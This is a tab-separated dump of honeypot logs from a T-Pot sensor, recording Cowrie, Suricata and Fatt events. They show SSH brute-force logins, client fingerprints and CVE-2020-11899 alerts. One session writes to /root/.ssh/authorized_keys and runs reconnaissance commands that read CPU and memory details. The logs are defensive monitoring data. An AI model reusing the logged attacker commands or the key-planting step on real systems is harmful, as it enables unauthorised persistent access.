33495	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:55:47.398444+03	2021-09-20 15:00:05.931723+03	{"_id": "BgYPA3wBvYTbRNuE7lB_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "738b399597fc", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:55:47.398444Z", "@timestamp": "2021-09-20T11:55:47.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33496	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:55:48.375786+03	2021-09-20 15:00:05.933722+03	{"_id": "DgYPA3wBvYTbRNuE8lBo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [home/h0m3] failed", "session": "738b399597fc", "@version": "1", "password": "h0m3", "username": "home", "timestamp": "2021-09-20T11:55:48.375786Z", "@timestamp": "2021-09-20T11:55:48.375Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33502	120.36.157.98	109.199.241.180	Fatt	2021-09-20 14:56:04.825213+03	2021-09-20 15:00:05.941722+03	{"_id": "QgYQA3wBvYTbRNuEM1BF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 15978, "dest_port": 22, "timestamp": "2021-09-20T11:56:04.825213", "@timestamp": "2021-09-20T11:56:04.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33497	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:55:56.645623+03	2021-09-20 15:00:05.934723+03	{"_id": "KgYQA3wBvYTbRNuEElD0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:56.645623+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557431372279, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:55:56.645623Z", "@timestamp": "2021-09-20T11:55:56.645Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
33498	fe80:0000:0000:0000:d672:26ff:fe5f:c492	109.199.241.180	Suricata	2021-09-20 14:55:57.653813+03	2021-09-20 15:00:05.935723+03	{"_id": "LAYQA3wBvYTbRNuEFlDe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:57.653813+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:d672:26ff:fe5f:c492", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 698224089102837, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:55:57.653813Z", "@timestamp": "2021-09-20T11:55:57.653Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
33499	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:56:04.206252+03	2021-09-20 15:00:05.937722+03	{"_id": "MgYQA3wBvYTbRNuELlBR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:56:04.206252+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 174}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:00fb", "flow_id": 1561048659535276, "payload": "AAAAAAADAAAAAAABD19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMgAEIX2hvbWVraXTAHAAMgAEMX3NsZWVwLXByb3h5BF91ZHDAIQAMgAEAACkFoAAAEZQAEgAEAA4AlLrBESEZL9YkmkXM6Q==", "@version": "1", "in_iface": "enp5s0", "src_port": 5353, "app_proto": "failed", "dest_port": 5353, "timestamp": "2021-09-20T11:56:04.206252Z", "@timestamp": "2021-09-20T11:56:04.206Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............._companion-link._tcp.local......_homekit......._sleep-proxy._udp.!......).................!./.$.E.."}}	1	\N	\N	alert	\N	\N
33500	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:04.825831+03	2021-09-20 15:00:05.938722+03	{"_id": "OwYQA3wBvYTbRNuEMFDw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:04.825831Z", "@timestamp": "2021-09-20T11:56:04.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33501	120.36.157.98	109.199.241.180	Suricata	2021-09-20 14:56:04.824171+03	2021-09-20 15:00:05.940722+03	{"_id": "PgYQA3wBvYTbRNuEMlA6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "flow_id": 1684883304133744, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 15978, "dest_port": 22, "timestamp": "2021-09-20T11:56:04.824171Z", "@timestamp": "2021-09-20T11:56:04.824Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33506	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:56:04.981311+03	2021-09-20 15:00:05.947721+03	{"_id": "QQYQA3wBvYTbRNuEMlA6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:56:04.981311+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 110}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755837368639, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAL/WdSrBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:56:04.981311Z", "@timestamp": "2021-09-20T11:56:04.981Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".....................Y.............."}}	1	\N	\N	alert	\N	\N
33507	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:56:04.536619+03	2021-09-20 15:00:05.948722+03	{"_id": "QwYQA3wBvYTbRNuEM1BF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "120.36.157.98", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 15978, "timestamp": "2021-09-20T11:56:04.536619", "@timestamp": "2021-09-20T11:56:04.536Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33508	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:10.48643+03	2021-09-20 15:00:05.949722+03	{"_id": "WgYQA3wBvYTbRNuESFBk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "120.36.157.98", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.582460880279541, "duplicate": true, "timestamp": "2021-09-20T11:56:10.486430Z", "@timestamp": "2021-09-20T11:56:10.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33509	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:10.483548+03	2021-09-20 15:00:05.950722+03	{"_id": "XQYQA3wBvYTbRNuESFBk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "120.36.157.98", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "60e8465f283a", "@version": "1", "destfile": "/root/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:56:10.483548Z", "@timestamp": "2021-09-20T11:56:10.483Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
33510	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:11.867025+03	2021-09-20 15:00:05.952722+03	{"_id": "XwYQA3wBvYTbRNuETFBN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:11.867025Z", "@timestamp": "2021-09-20T11:56:11.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33511	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:12.844461+03	2021-09-20 15:00:05.953723+03	{"_id": "YwYQA3wBvYTbRNuEUFA2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:12.844461Z", "@timestamp": "2021-09-20T11:56:12.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33512	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:12.845004+03	2021-09-20 15:00:05.955722+03	{"_id": "ZAYQA3wBvYTbRNuEUFA2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:12.845004Z", "@timestamp": "2021-09-20T11:56:12.845Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33513	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:13.422833+03	2021-09-20 15:00:05.956723+03	{"_id": "ZQYQA3wBvYTbRNuEVFAd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "120.36.157.98", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5784542560577393, "duplicate": true, "timestamp": "2021-09-20T11:56:13.422833Z", "@timestamp": "2021-09-20T11:56:13.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33514	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:13.791677+03	2021-09-20 15:00:05.957722+03	{"_id": "ZgYQA3wBvYTbRNuEVFAd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:13.791677Z", "@timestamp": "2021-09-20T11:56:13.791Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33515	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:13.792245+03	2021-09-20 15:00:05.959722+03	{"_id": "ZwYQA3wBvYTbRNuEVFAd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:13.792245Z", "@timestamp": "2021-09-20T11:56:13.792Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
